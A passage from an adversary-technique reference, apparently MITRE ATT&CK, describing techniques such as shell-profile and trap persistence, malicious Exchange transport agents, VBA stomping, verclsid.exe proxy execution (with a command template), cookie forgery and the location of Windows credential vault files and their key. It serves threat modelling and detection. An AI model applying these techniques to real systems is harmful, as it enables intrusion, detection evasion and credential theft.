Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)
T1493Transmitted Data ManipulationAdversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
T1565.002Transmitted Data ManipulationAdversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
T1505.002Transport AgentAdversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.
T1546.005TrapAdversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.

Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap ‘command list’ signals where “command list” will be executed when “signals” are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
T1154TrapThe trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap ‘command list’ signals where “command list” will be executed when “signals” are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
T1127Trusted Developer Utilities Proxy ExecutionAdversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.
T1199Trusted RelationshipAdversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider’s access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)

In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)
IDNameDescription
T1065Uncommonly Used PortAdversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
T1059.004Unix ShellAdversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
T1546.004Unix Shell Configuration ModificationAdversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.

For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile/etc/zshenv/etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.
T1552Unsecured CredentialsAdversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Bash History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).
T1535Unused/Unsupported Cloud RegionsAdversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)
T1608.001Upload MalwareAdversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.

Malware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)

Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via User ExecutionMasquerading may increase the chance of users mistakenly executing these files.
T1608.002Upload ToolAdversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.

Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)

Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
T1550Use Alternate Authentication MaterialAdversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.
T1497.002User Activity Based ChecksAdversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)
T1204User ExecutionAn adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing.

While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.

Adversaries may also deceive users into performing actions such as enabling Remote Access Software, allowing direct control of the system to the adversary, or downloading and executing malware for User Execution. For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Software.(Citation: Telephone Attack Delivery)
T1078Valid AccountsAdversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)
T1564.007VBA StompingAdversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)

An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)
T1055.014VDSO HijackingAdversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process’ global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.
T1218.012VerclsidAdversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)

Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)
T1125Video CaptureAn adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim’s screen.

In macOS, there are a few different malware samples that record the user’s webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
T1584.003Virtual Private ServerAdversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)

Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.
T1583.003Virtual Private ServerAdversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)
T1497Virtualization/Sandbox EvasionAdversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)
T1059.005Visual BasicAdversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).(Citation: Default VBS macros Blocking )
T1021.005VNCAdversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)

VNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system’s authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)

Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)
T1588.006VulnerabilitiesAdversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)

An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. Exploits) or to attempt to develop one themselves (i.e. Exploits).
T1595.002Vulnerability ScanningAdversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

These scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).
T1600Weaken EncryptionAdversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as Modify System ImageReduce Key Space, and Disable Crypto Hardware, an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)
T1606.001Web CookiesAdversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.

Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.

Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)
T1056.003Web Portal CaptureAdversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
T1071.001Web ProtocolsAdversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
T1102Web ServiceAdversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
T1583.006Web ServicesAdversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.
T1584.006Web ServicesAdversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user’s access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing.(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.
T1550.004Web Session CookieAdversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
T1506Web Session CookieAdversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie, the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
T1505.003Web ShellAdversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).(Citation: Lee 2013)
T1100Web ShellA Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary’s primary access methods are detected and removed.
T1596.002WHOISAdversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)

Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).
T1077Windows Admin SharesWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$ADMIN$, and IPC$.

Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/JobService Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)
T1059.003Windows Command ShellAdversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.(Citation: SSH in Windows)

Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.
T1555.004Windows Credential ManagerAdversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)

The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

Credential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)

